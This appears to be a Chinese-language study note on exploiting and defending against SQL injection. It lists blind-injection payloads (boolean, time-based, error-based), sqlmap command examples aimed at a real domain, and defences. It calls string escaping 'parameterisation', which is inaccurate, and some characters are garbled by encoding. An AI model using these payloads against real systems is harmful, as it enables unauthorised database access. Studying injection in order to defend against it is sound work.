sql md5函数_【学习笔记】常见漏洞:SQL注入的利用与防御
第? ?21?課??
SQL注入的利用與防御
課程入口(付費(fèi))
個人背景
李,本科,電子信息工程專業(yè),畢業(yè)一年半,有JavaScript的,PHP,Python的語言基礎(chǔ),目前自學(xué)網(wǎng)絡(luò)安全中。
SQL注入的利用與防御
01 SQL盲注1.1 SQL盲注概念
無法通過SQL注入在頁面返回內(nèi)容中找到所需要的數(shù)據(jù)或者用作注入成功判斷的內(nèi)容,都可以稱作SQL盲注;這里包含說即使頁面報(bào)錯,但是很可能是通用的錯誤信息,不能用于注入判斷的情況。
? ? ? ?
1.2 SQL盲注分類
按照網(wǎng)上的分類,有三種:布爾型、時間型、錯誤型。
? ? ? ?
1.3 布爾型
left() 函數(shù)
left(database(),1)>'s' ? ? ? ? ? ?
解析:database()顯示數(shù)據(jù)庫名稱,left(a,b)從左側(cè)截取a的前b位
substr()函數(shù),ascii()函數(shù)
解析:substr(a,b,c)從b位置開始,截取字符串a(chǎn)的c長度。ascii()將某個字符轉(zhuǎn)換為ascii值
ascii(substr((select database()),1,1))=98ORD()函數(shù),MID()函數(shù)
解析:MID(a,b,c)從位置b開始,截取a字符串的c位ORD()函數(shù)同ascii(),將字符轉(zhuǎn)為ascii值
regexp正則注入
正則注入介紹:
http://www.cnblogs.com/lcamry/articles/5717442.html
用法介紹:select user() regexp '^[a-z]';
解析:正則表達(dá)式的用法,user()結(jié)果為root,regexp為匹配root的正則表達(dá)式。
第二位可以用select user() regexp '^ro'來進(jìn)行 ??
當(dāng)正確的時候顯示結(jié)果為1,不正確的時候顯示結(jié)果為0
like匹配注入
和上述的正則類似,mysql在匹配的時候我們可以用ike進(jìn)行匹配。
用法:select user() like 'ro%'
1.4 時間型
sleep()函數(shù)
if判斷語句,條件為假,執(zhí)行sleep,延時5秒
BENCHMARK(count,expr) 函數(shù)
BENCHMARK(count,expr)用于測試函數(shù)的性能,參數(shù)一為次數(shù),二為要執(zhí)行的表達(dá)式??梢宰尯瘮?shù)執(zhí)行若干次,返回結(jié)果比平時要長,通過時間長短的變化,判斷語句是否執(zhí)行成功。
這是一種邊信道攻擊,在運(yùn)行過程中占用大量的cpu資源。推薦使用sleep()函數(shù)進(jìn)行注入。
Mysql | BENCHMARK(100000,MD5(1)) ?or sleep(5) |
Postgresql | PG_SLEEP(5) ??OR GENERATE_SERIES(1,10000) |
Mssql server | WAITFOR DELAY '0:0:5' |
1.5 錯誤型
select exp(~(select * FROM(SELECT USER())a)) ? ? ? ?//double數(shù)值類型超出范圍,Exp()為以e為底的對數(shù)函數(shù);版本在5.5.5及其以上可以參考exp報(bào)錯文章:
http://www.cnblogs.com/lcamry/articles/5509124.html
select !(select * from (select user())x) -(ps:這是減號) ~0 ? //bigint超出范圍;~0是對0逐位取反,很大的版本在5.5.5及其以上可以參考文章bigint溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html
extractvalue(1,concat(0x7e,(select @@version),0x7e))//mysql對xml數(shù)據(jù)進(jìn)行查詢和修改的xpath函數(shù),xpath語法錯誤updatexml(1,concat(0x7e,(select @@version),0x7e),1) ? //mysql對xml數(shù)據(jù)進(jìn)行查詢和修改的xpath函數(shù),xpath語法錯誤select*from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;//mysql重復(fù)特性,此處重復(fù)了version,所以報(bào)錯。具體盲注介紹請參考:
https://www.cnblogs.com/lcamry/p/5763129.html
02 SQL MAP簡單實(shí)用GET請求
sqlmap.py -u “http://baidu.com/cmd?id=1”
POST請求
sqlmap.py -u 'http://www.baidu.com ' --data 'id=1&search=2'
具體SQLMap請參考:
https://www.cnblogs.com/ichunqiu/p/5805108.html
https://www.fujieace.com/hacker/sqlmap-12.html
03 SQL注入防御在代碼層面,可以使用參數(shù)化語句或者強(qiáng)制數(shù)據(jù)類型,強(qiáng)制類型比較好理解,就是比如某個參數(shù)的值能確定是int,在構(gòu)建SQL語句前先強(qiáng)制int轉(zhuǎn)換類型,而參數(shù)化的話比如PHP中的參數(shù)化可以這樣寫:
$query=sprintf("select * from users where id='%s'",mysqli_real_escape_string($con,$id));
$result=mysqli_query($con,$query);
使用黑白名單進(jìn)行輸入驗(yàn)證,對用戶提交內(nèi)容進(jìn)行驗(yàn)證,比如針對特殊關(guān)鍵詞,比如union可以列入黑名單,一旦發(fā)現(xiàn)則認(rèn)定為攻擊請求,直接屏蔽。有一些語言有自帶這樣的驗(yàn)證用的安全方法可以直接調(diào)用,或者用一些外部的安全框架和API也是可以的,比如之前的章節(jié)內(nèi)容提到的OWASP的ESAPI。
可以使用WAF產(chǎn)品,不過其實(shí)這個方法對Web漏洞是通用。
下期更新筆記內(nèi)容:
常見WEB漏洞:文件上傳 第一節(jié)?
總結(jié)
以上是生活随笔為你收集整理的sql md5函数_【学习笔记】常见漏洞:SQL注入的利用与防御的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: js foreach 跳出循环_VUE.
- 下一篇: linux cmake编译源码,linu